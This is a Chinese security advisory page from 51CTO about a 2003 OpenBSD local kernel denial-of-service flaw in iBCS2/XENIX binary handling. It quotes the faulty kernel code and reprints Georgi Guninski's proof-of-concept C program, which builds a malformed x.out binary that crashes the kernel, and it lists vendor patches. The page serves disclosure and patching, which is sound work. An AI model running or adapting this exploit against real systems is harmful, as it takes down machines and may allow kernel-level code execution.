频 道 直 达 - 新闻 - 读书 - 培训 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 技术圈 - 博客 - BBS
51CTO.COM_中国领先的IT技术网站
找资料:

OpenBSD本地畸形二进制程序执行拒绝服务攻击漏洞

作者: 出处:51CTO.COM  (  ) 砖  (  ) 好  评论 ( ) 条  进入论坛
更新时间:2005-08-10 10:35
关 键 词:漏洞
阅读提示:设计错误##嵌入恶意代码##及时修补

信息提供:

安全公告(或线索)提供热线:51cto.editor@gmail.com

漏洞类别:

设计错误

攻击类型:

嵌入恶意代码

发布日期:

2003-11-04

更新日期:

2003-11-17

受影响系统:

OpenBSD OpenBSD 3.4
OpenBSD OpenBSD 3.3
OpenBSD OpenBSD 3.2
OpenBSD OpenBSD 3.1
OpenBSD OpenBSD 3.0
OpenBSD OpenBSD 2.9
OpenBSD OpenBSD 2.8

安全系统:

漏洞报告人:

Georgi Guninski (guninski@guninski.com

漏洞描述:

BUGTRAQ  ID: 8978

OpenBSD是一款开放源代码操作系统。

OpenBSD在处理部分可执行文件时存在问题,本地攻击者可以利用这个漏洞可能以内核权限执行任意恶意指令。

漏洞问题是由于执行二进制程序时没有对程序头字段值进行完整性检查,攻击者构建恶意二进制程序并执行,可导致内核崩溃。根据目前调查情况,此漏洞看起来可以以内核上下文执行任意指令。

问题存在于"ibcs2_exec.c" line 619 of 738 --83%-- col 1-8:

   /* read in segment table */
    xs = (struct xseg *)malloc(xep->xe_segsize, M_TEMP, M_WAITOK);
    error = vn_rdwr(UIO_READ, epp->ep_vp, (caddr_t)xs,

从上看来malloc会返回NULL,另一个额外难题是:

"exec_elf.c" line 792 of 827 --95%-- col 6-20
    np = (Elf_Note *)malloc(ph->p_filesz, M_TEMP, M_WAITOK);

测试方法:

警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Georgi Guninski(guninski@guninski.com) 提供了如下测试程序:

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
/*    $OpenBSD: ibcs2_exec.h,v 1.3 2002/03/14 01:26:50 millert Exp $    */
/*    $NetBSD: ibcs2_exec.h,v 1.4 1995/03/14 15:12:24 scottb Exp $    */

/*
* Copyright (c) 1994, 1995 Scott Bartram
* All rights reserved.
*
* adapted from sys/sys/exec_ecoff.h
* based on Intel iBCS2
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
*    notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
*    notice, this list of conditions and the following disclaimer in the
*    documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
*    derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#ifndef    _IBCS2_EXEC_H_
#define    _IBCS2_EXEC_H_

/*
* COFF file header
*/

struct coff_filehdr {
    u_short    f_magic;    /* magic number */
    u_short    f_nscns;    /* # of sections */
    long    f_timdat;    /* timestamp */
    long    f_symptr;    /* file offset of symbol table */
    long    f_nsyms;    /* # of symbol table entries */
    u_short    f_opthdr;    /* size of optional header */
    u_short    f_flags;    /* flags */
};

/* f_magic flags */
#define COFF_MAGIC_I386    0x14c

/* f_flags */
#define COFF_F_RELFLG    0x1
#define COFF_F_EXEC    0x2
#define COFF_F_LNNO    0x4
#define COFF_F_LSYMS    0x8
#define COFF_F_SWABD    0x40
#define COFF_F_AR16WR    0x80
#define COFF_F_AR32WR    0x100

/*
* COFF system header
*/

struct coff_aouthdr {
    short    a_magic;
    short    a_vstamp;
    long    a_tsize;
    long    a_dsize;
    long    a_bsize;
    long    a_entry;
    long    a_tstart;
    long    a_dstart;
};

/* magic */
#define COFF_OMAGIC    0407    /* text not write-protected; data seg
                   is contiguous with text */
#define COFF_NMAGIC    0410    /* text is write-protected; data starts
                   at next seg following text */
#define COFF_ZMAGIC    0413    /* text and data segs are aligned for
                   direct paging */
#define COFF_SMAGIC    0443    /* shared lib */

/*
* COFF section header
*/

struct coff_scnhdr {
    char    s_name[8];
    long    s_paddr;
    long    s_vaddr;
    long    s_size;
    long    s_scnptr;
    long    s_relptr;
    long    s_lnnoptr;
    u_short    s_nreloc;
    u_short    s_nlnno;
    long    s_flags;
};

/* s_flags */
#define COFF_STYP_REG        0x00
#define COFF_STYP_DSECT        0x01
#define COFF_STYP_NOLOAD    0x02
#define COFF_STYP_GROUP        0x04
#define COFF_STYP_PAD        0x08
#define COFF_STYP_COPY        0x10
#define COFF_STYP_TEXT        0x20
#define COFF_STYP_DATA        0x40
#define COFF_STYP_BSS        0x80
#define COFF_STYP_INFO        0x200
#define COFF_STYP_OVER        0x400
#define COFF_STYP_SHLIB        0x800

/*
* COFF shared library header
*/

struct coff_slhdr {
    long    entry_len;    /* in words */
    long    path_index;    /* in words */
    char    sl_name[1];
};

#define COFF_ROUND(val, by)     (((val) + by - 1) & ~(by - 1))

#define COFF_ALIGN(a) ((a) & ~(COFF_LDPGSZ - 1))

#define COFF_HDR_SIZE \
    (sizeof(struct coff_filehdr) + sizeof(struct coff_aouthdr))

#define COFF_BLOCK_ALIGN(ap, value) \
        (ap->a_magic == COFF_ZMAGIC ? COFF_ROUND(value, COFF_LDPGSZ) : \
         value)

#define COFF_TXTOFF(fp, ap) \
        (ap->a_magic == COFF_ZMAGIC ? 0 : \
         COFF_ROUND(COFF_HDR_SIZE + fp->f_nscns * \
            sizeof(struct coff_scnhdr), COFF_SEGMENT_ALIGNMENT(ap)))

#define COFF_DATOFF(fp, ap) \
        (COFF_BLOCK_ALIGN(ap, COFF_TXTOFF(fp, ap) + ap->a_tsize))

#define COFF_SEGMENT_ALIGN(ap, value) \
        (COFF_ROUND(value, (ap->a_magic == COFF_ZMAGIC ? COFF_LDPGSZ : \
         COFF_SEGMENT_ALIGNMENT(ap))))

#define COFF_LDPGSZ 4096

#define COFF_SEGMENT_ALIGNMENT(ap) 4

#define COFF_BADMAG(ex) (ex->f_magic != COFF_MAGIC_I386)

#define IBCS2_HIGH_SYSCALL(n)        (((n) & 0x7f) == 0x28)
#define IBCS2_CVT_HIGH_SYSCALL(n)    (((n) >> 8) + 128)

struct exec_package;
int     exec_ibcs2_coff_makecmds(struct proc *, struct exec_package *);

/*
* x.out (XENIX)
*/

struct xexec {
    u_short    x_magic;    /* magic number */
    u_short    x_ext;        /* size of extended header */
    long    x_text;        /* ignored */
    long    x_data;        /* ignored */
    long    x_bss;        /* ignored */
    long    x_syms;        /* ignored */
    long    x_reloc;    /* ignored */
    long    x_entry;    /* executable entry point */
    char    x_cpu;        /* processor type */
    char    x_relsym;    /* ignored */
    u_short    x_renv;        /* flags */
};

/* x_magic flags */
#define XOUT_MAGIC    0x0206

/* x_cpu flags */
#define XC_386        0x004a    /* 386, word-swapped */

/* x_renv flags */
#define XE_V5        0xc000
#define XE_SEG        0x0800
#define XE_ABS        0x0400
#define XE_ITER        0x0200
#define XE_VMOD        0x0100
#define XE_FPH        0x0080
#define XE_LTEXT    0x0040
#define XE_LDATA    0x0020
#define XE_OVER        0x0010
#define XE_FS        0x0008
#define XE_PURE        0x0004
#define XE_SEP        0x0002
#define XE_EXEC        0x0001

/*
* x.out extended header
*/

struct xext {
    long    xe_trsize;    /* ignored */
    long    xe_drsize;    /* ignored */
    long    xe_tbase;    /* ignored */
    long    xe_dbase;    /* ignored */
    long    xe_stksize;    /* stack size if XE_FS set in x_renv */
    long    xe_segpos;    /* offset of segment table */
    long    xe_segsize;    /* segment table size */
    long    xe_mdtpos;    /* ignored */
    long    xe_mdtsize;    /* ignored */
    char    xe_mdttype;    /* ignored */
    char    xe_pagesize;    /* ignored */
    char    xe_ostype;    /* ignored */
    char    xe_osvers;    /* ignored */
    u_short    xe_eseg;    /* ignored */
    u_short    xe_sres;    /* ignored */
};

/*
* x.out segment table
*/

struct xseg {
    u_short    xs_type;    /* segment type */
    u_short    xs_attr;    /* attribute flags */
    u_short    xs_seg;        /* segment selector number */
    char    xs_align;    /* ignored */
    char    xs_cres;    /* ignored */
    long    xs_filpos;    /* offset of this segment */
    long    xs_psize;    /* physical segment size */
    long    xs_vsize;    /* virtual segment size */
    long    xs_rbase;    /* relocation base address */
    u_short    xs_noff;    /* ignored */
    u_short    xs_sres;    /* ignored */
    long    xs_lres;    /* ignored */
};

/* xs_type flags */
#define    XS_TNULL    0    /* unused */
#define    XS_TTEXT    1    /* text (read-only) */
#define    XS_TDATA    2    /* data (read-write) */
#define    XS_TSYMS    3    /* symbol table (noload) */
#define    XS_TREL        4    /* relocation segment (noload) */
#define    XS_TSESTR    5    /* string table (noload) */
#define    XS_TGRPS    6    /* group segment (noload) */

#define    XS_TIDATA    64
#define    XS_TTSS        65
#define    XS_TLFIX    66
#define    XS_TDNAME    67
#define    XS_TDTEXT    68
#define    XS_TDFIX    69
#define    XS_TOVTAB    70
#define    XS_T71        71
#define    XS_TSYSTR    72

/* xs_attr flags */
#define XS_AMEM        0x8000    /* memory image */
#define XS_AITER    0x0001    /* iteration records */
#define XS_AHUGE    0x0002    /* unused */
#define XS_ABSS        0x0004    /* uninitialized data */
#define XS_APURE    0x0008    /* read-only (sharable) segment */
#define XS_AEDOWN    0x0010    /* expand down memory segment */
#define XS_APRIV    0x0020    /* unused */
#define    XS_A32BIT    0x0040    /* 32-bit text/data */

/*
* x.out iteration record
*/

struct xiter {
    long    xi_size;    /* text/data size */
    long    xi_rep;        /* number of replications */
    long    xi_offset;    /* offset within segment to replicated data */
};

#define XOUT_HDR_SIZE        (sizeof(struct xexec) + sizeof(struct xext))

int     exec_ibcs2_xout_makecmds(struct proc *, struct exec_package *);

#endif /* !_IBCS2_EXEC_H_ */

int main(int ac,char **av)
{
int fd;
struct xexec xp;
struct xext xep;
char exe[10];
char fil[]="./vvc";

fd=open(fil,O_CREAT|O_RDWR,0700);
if (fd==-1) {perror("open");return 1;}
memset(&xp,0,sizeof(xp));
memset(&xep,0,sizeof(xep));
memset(exe,'v',sizeof(exe));
xp.x_magic = XOUT_MAGIC;
xp.x_cpu = XC_386;
xp.x_renv = XE_EXEC;
xp.x_ext = sizeof(xep);
xep.xe_segsize = -1;
write(fd,&xp,sizeof(xp));
write(fd,&xep,sizeof(xep));
write(fd,exe,sizeof(exe));
printf("Now exec %s\n",fil);

}

解决方法:

厂商补丁:

OpenBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

OpenBSD OpenBSD 3.3:

OpenBSD Upgrade 010_exec.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.3/common/010_exec.patch

OpenBSD OpenBSD 3.4:

OpenBSD Upgrade 005_exec.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch

发表
查看
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 领 先 的 IT 技 术 网 站 ·
技 术 成 就 梦 想
订阅技术快讯
电子杂志下载
名称:网络安全精品应用黄皮书
简介:《2007精品网络安全黄皮书》包括了9个大类24个小类, 800余篇文章,内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范,涉及到了安全应用的全部领域, 由浅至深内容全面。
名称:Vista精品应用黄皮书
简介:《Vista精品应用黄皮书》囊括了Vista的各方面内容。此次的精简版,是将里面的内容做了提取,便于用户下载和使用。内容包含了各种Vista的安装与实施、技巧与解析以及各种Vista相关学习文档和相关软件的安全下载。该电子书是了解和应用Vista人员必备的工具手册,并且也是第一本
名称:2006中国IT论坛精品集合
简介:本书由“51CTO论坛推广联盟”制作完成。书中所有内容均来自各联盟成员的论坛(网站)。制作本书的目的是为了集中大家的优势资源,将更多更精彩的内容带给广大技术爱好者。本书是联盟成立以来制作的第一本书。
关键字阅读
频道精选
主编信箱 热线:010-66476606 告诉我们您想看的:专题 文章
关于我们 | 诚聘英才 | 联系我们 | 网站大事 | 意见反馈 | 网站地图
Copyright©2005-2007 51CTO.COM 版权所有